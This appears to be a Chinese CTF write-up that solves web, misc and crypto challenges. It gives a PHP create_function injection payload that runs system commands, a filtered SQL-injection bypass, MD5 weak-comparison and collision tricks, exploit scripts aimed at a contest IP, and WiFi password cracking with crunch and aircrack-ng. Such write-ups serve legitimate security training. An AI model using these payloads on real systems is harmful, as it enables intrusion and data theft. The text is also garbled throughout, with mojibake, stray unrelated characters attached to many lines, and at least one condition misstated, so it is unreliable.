Web
Web簽到
訪問flag.php
可以看到有個(gè)302
跳轉(zhuǎn)萝招,flag
就在請(qǐng)求頭里梢褐。
base64
解密得到flag
。
猜密碼
打開F12
獲得源碼:
<?php
session_start();
$_SESSION['pwd']=time();
if (isset ($_POST['password'])) {
if ($_POST['pwd'] == $_SESSION['pwd'])
die('Flag:'.$flag);
else{
print '<p>猜測(cè)錯(cuò)誤.</p>';
$_SESSION['pwd']=time().time();
}
}
可以看到基于SESSION
里的pwd
來獲取,那把session
情況,那么pwd
就變?yōu)?code>null祝拯,就可以繞過了。
構(gòu)造:
下載下載
F12
看到提示:
構(gòu)造:
/?file=flag.php
得到源碼:
<?php
header('Content-Type: text/html; charset=utf-8'); //網(wǎng)頁編碼
function encrypt($data, $key) {
$key = md5 ( $key );
$x = 0;
$len = strlen ( $data );
$l = strlen ( $key );
for($i = 0; $i < $len; $i ++) {
if ($x == $l) {
$x = 0;
}
$char .= $key {$x};
$x ++;
}
for($i = 0; $i < $len; $i ++) {
$str .= chr ( ord ( $data {$i} ) + (ord ( $char {$i} )) % 256 );
}
return base64_encode ( $str );
}
function decrypt($data, $key) {
$key = md5 ( $key );
$x = 0;
$data = base64_decode ( $data );
$len = strlen ( $data );
$l = strlen ( $key );
for($i = 0; $i < $len; $i ++) {
if ($x == $l) {
$x = 0;
}
$char .= substr ( $key, $x, 1 );
$x ++;
}
for($i = 0; $i < $len; $i ++) {
if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
$str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
} else {
$str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
}
}
return $str;
}
$key="MyCTF";
$flag="o6lziae0xtaqoqCtmWqcaZuZfrd5pbI=";//encrypt($flag,$key)
?>
自己本地運(yùn)行下decrypt()
就能得到flag
暮芭。
該網(wǎng)站已被黑
not_easy
打開給了源碼:
<?php
error_reporting(0);
if(isset($_GET['action'])) {
$action = $_GET['action'];
}
if(isset($_GET['action'])){
$arg = $_GET['arg'];
}
if(preg_match('/^[a-z0-9_]*$/isD', $action)){
show_source(__FILE__);
} else {
$action($arg,'');
}
這是Code-Breaking Puzzles原題鹿驼,這是最后$action($arg,'');
這里的參數(shù)位置換了一下。
構(gòu)造:
/?action=\create_function&arg=){}phpinfo();//
可以看到成功執(zhí)行了phpinfo()
辕宏。
那就直接使用下面
payload
就可以了:
/?action=\create_function&arg=){}var_dump(scandir('./'));// # 查看當(dāng)前目錄
/?action=\create_function&arg=){}var_dump(system('cat Th1s_1S_F1a9_Hav3_Fun'));// # 獲取flag
audit
打開給了源碼:
<?php
highlight_file(__FILE__);
include('flag.php');
$str1 = @$_GET['str1'];
$str2 = @$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = (string)@$_POST['str5'];
$str6 = (string)@$_POST['str6'];
$str7 = (string)@$_POST['str7'];
if( $str1 == $str2 ){
die('str1 OR Sstr2 no no no');
}
if( md5($str1) != md5($str2) ){
die('step 1 fail');
}
if( $str3 == $str4 ){
die('str3 OR str4 no no no');
}
if ( md5($str3) !== md5($str4)){
die('step 2 fail');
}
if( $str5 == $str6 || $str5 == $str7 || $str6 == $str7 ){
die('str5 OR str6 OR str7 no no no');
}
if (md5($str5) !== md5($str6) || md5($str6) !== md5($str7) || md5($str5) !== md5($str7)){
die('step 3 fail');
}
if(!($_POST['a']) and !($_POST['b']))
{
echo "come on!";
die();
}
$a = $_POST['a'];
$b = $_POST['b'];
$m = $_GET['m'];
$n = $_GET['n'];
if (!(ctype_upper($a)) || !(is_numeric($b)) || (strlen($b) > 6))
{
echo "a OR b fail!";
die();
}
if ((strlen($m) > 4) || (strlen($n) > 4))
{
echo "m OR n fail";
die();
}
$str8 = hash('md5', $a, false);
$str9 = strtr(hash('md5', $b, false), $m, $n);
echo "<p>str8 : $str8</p>";
echo "<p>str9 : $str9</p>";
if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6))
{
echo "You're great,give you flag:";
echo $flag;
}
str1 OR Sstr2 no no no
題目與hgame 2019
的Week2
和Week3
題目類似畜晰。
第一步直接構(gòu)造弱類型和數(shù)組繞過。
第二步為MD5
碰撞瑞筐,使用python-md5-collision生成一堆相似的MD5
文件凄鼻。
第三步要求傳入的a
為大寫字母,b
為數(shù)字且長度大于6
聚假,m
和n
的長度大于6
块蚌。
$str8
為$a
被hash
加密后的值,$str9
為$b
被hash
加密后膘格,把$m
替換為$n
,要求$str8== $str9
峭范。還是用的弱類型。
傳入的$a
要hash
加密后為0e
開頭瘪贱,如果$b
為hash
加密后0e
開頭纱控,可以滿足,長度為6
不能滿足菜秦,但是還有次替換甜害,只需要把0e
后不是數(shù)字的替換為數(shù)字就可以。
構(gòu)造腳本滿足好了:
def md5(str):
p= hashlib.md5(str).hexdigest()
return p
for i in range(1,999999):
if md5(str(i))[0:2] == '0e':
if 'e' not in md5(str(i))[2:]:
if 'f' not in md5(str(i))[2:]:
if 'a' not in md5(str(i))[2:]:
print i
最后的腳本:
import hashlib
def md5(str):
p= hashlib.md5(str).hexdigest()
return p
for i in range(1,999999):
if md5(str(i))[0:2] == '0e':
if 'e' not in md5(str(i))[2:]:
if 'f' not in md5(str(i))[2:]:
if 'a' not in md5(str(i))[2:]:
print i
#-*-codeing:utf-8
import requests
url="http://120.79.1.69:8887/web7/?str1[]=1&str2[]=2&str3[]=3&str4[]=4&m=bcd&n=123"
str5= open('./WEB/python-md5-collision/md5/out_test_001.txt','r').read()
str6= open('./WEB/python-md5-collision/md5/out_test_002.txt','r').read()
str7= open('./WEB/python-md5-collision/md5/out_test_003.txt','r').read()
data= {
'str5':str5,
'str6':str6,
'str7':str7,
'a':'QNKCDZO',
'b':'259987'
}
res= requests.post(url=url,data=data)
print res.content
曲折的人生
一個(gè)登錄框注入球昨,有回顯尔店,過濾了一些union
、select
主慰、空格等嚣州。
雙寫繞過,空格用
/**/
來代替共螺。可以看到字段為
3
避诽,2
的地方有回顯。得到數(shù)據(jù)庫
xiaowei
璃谨。查找數(shù)據(jù)表名為
admin
沙庐。這里or
被過濾了,所以構(gòu)造infmation_schema
時(shí)要變?yōu)?code>infoorrmation_schema佳吞。查到列名為
id
拱雏、username
、password
底扳。查到用戶名為
goodboy_g-60Hellowor
铸抑,密碼為ajahas&&*44askldajaj
。這里有個(gè)坑啊衷模,提交的用戶名里的
or
也會(huì)被過濾鹊汛,所以提交的時(shí)候用戶名要變?yōu)?code>goodboy_g-60Hellowoorr蒲赂。編寫腳本登錄:
import requests
from bs4 import BeautifulSoup
url = 'http://120.79.1.69:10005/?check'
username = 'goodboy_g-60Hellowoorr'
password = 'ajahas&&*44askldajaj'
s = requests.Session()
res = s.get(url)
res.encoding = res.apparent_encoding
soup = BeautifulSoup(res.text,'html.parser')
number = soup.find_all('div','rep')
answer = str(number[0])[17:-6]
answer = answer.replace('(','(').replace('X','*').replace(')',')')
code = int(eval(answer))
data = {
'username':username,
'password':password,
'code':code
}
res = s.post(url,data=data)
res.encoding = res.apparent_encoding
print(res.text)
得到
<div>the package password is <span>%^$%&sss88ioiern.gdsgj</span></div><div>the package download link=><a href='sss88ioiern.gdsgj.zip' target='_blank'>代碼審計(jì).zip</a></div>
訪問一個(gè)zip
文件:
/sss88ioiern.gdsgj.zip
解壓密碼為%^$%&sss88ioiern.gdsgj
。
給了一個(gè)form.txt
:
Private Function getPassword(ByVal str As String) As String
Dim reString As String
Dim i As Integer
i = 1
While (i <= Len(str))
reString = reString & Mid(str, i, 1)
i = i + (i Mod 5)
Wend
getPassword = reString
End Function
Private Sub Command1_Click()
Dim Dictionary As String
Dictionary = "VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="
Dim password As String
password = getPassword(Dictionary)
Dim psw As String
psw = Text1.Text
If (psw = password) Then
MsgBox "The password is correct!", vbOKOnly, "密碼正確"
Text1.Text = "Password for next pass : " & getPassword(password)
Else
MsgBox "PasswordFail!", vbOKOnly, "密碼錯(cuò)誤"
End If
End Sub
編寫腳本計(jì)算:
def getPassword(str):
restr = ''
i=1
while i <= len(str):
restr = restr + (str[i-1:i])
i = i+ (i%5)
return restr
dict = 'VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU='
password = getPassword(dict)
password = getPassword(password)
print(password)
得到:
VmH0wW3DZalBnmmSalV1SYSGRr1r3jVYcFrHWkUUlhljkFzCbXaEKyaVJymT1FlVTVskVWhGtonaGU2WWGhVXYol1WVI1F2odFuk
用這個(gè)作為壓縮密碼解壓打開就可以得到flag
刁憋。
Misc
so_easy
打開看到一堆base58
的東西滥嘴。
使用base58在線解密得到一個(gè)
image
。使用base64編碼轉(zhuǎn)圖片至耻,得到一個(gè)二維碼若皱。
二維碼掃描得到
flag
。
這是什么玩意兒
得到一串=E4=BD=9B=E6=
類似的:
使用Quoted-Printable編碼在線解密:
使用與佛論禪:
使用社會(huì)主義編碼:
該死的溫柔
打開圖片備注里有提示:
使用outguess:
$ outguess -k "guess" -r flag.jpg ctf.txt
解密得到flag
尘颓。
小梳子走触,我永遠(yuǎn)只愛你一個(gè)人
題目要破解wifi
密碼。
使用kali
上的工具crunch
制作字典:
$ crunch 11 11 -t 138364%%%%% -o /root/桌面/test.txt
然后使用aircrack-ng
爆破密碼:
$ aircrack-ng -w /root/桌面/test.txtTenda_D07D90-01.cap
# 選擇編號(hào)12
你對(duì)我的網(wǎng)站做了什么
打開是一個(gè)流量包疤苹,追蹤下http
流量互广,可以發(fā)現(xiàn)一個(gè)flag.txt
文件:
使用
base64解密
:eJxLy0lMrw6NTzPMS4n3TVWsBQAz4wXi
得到
x\x9cK\xcbIL\xaf\x0e\x8dO3\xccK\x89\xf7MU\xac\x05\x003\xe3\x05\xe2
。使用
python
的zlib
庫解壓得到flag
卧土。真的不是圖片
題目是一張圖片兜辞,我們binwalk
一下,發(fā)現(xiàn)了有zip
:
使用
foremost
分離夸溶,無果逸吵。。看到
binwalk
分析出來的圖片中少了zip
文件頭缝裁,根據(jù)數(shù)據(jù)區(qū)尋找14000000
可以看到
504b0304
被替換成了6a613636
也就是ja66
扫皱,將他改回來:
使用
binwalk
分析,此時(shí)正常并且分離出了
2
個(gè)壓縮包捷绑,可以看出是一個(gè)壓縮包放在另一個(gè)壓縮包里了韩脑。所以只有一個(gè)壓縮包。但是是被加密過的粹污。此時(shí)段多,將之前的
ja66
填上去,密碼正確壮吩。解壓文件好多文件夾进苍,打開后,每個(gè)文件夾有一個(gè)文本 里邊都有一個(gè)字符
寫個(gè)腳本
import base64
flag=''
for i in range(32):
f=open('./subject/'+str(i)+'/'+str(i)+'.txt','r')
flag+=f.read()
print base64.b64decode(flag)
Crypto
羅馬帝國的奠基者
變異凱撒密碼鸭叙,用腳本:
s = "XXXX"
r = ''
for i in range(len(s)):
r = r+chr(ord(s[i])+4+i)
print(r)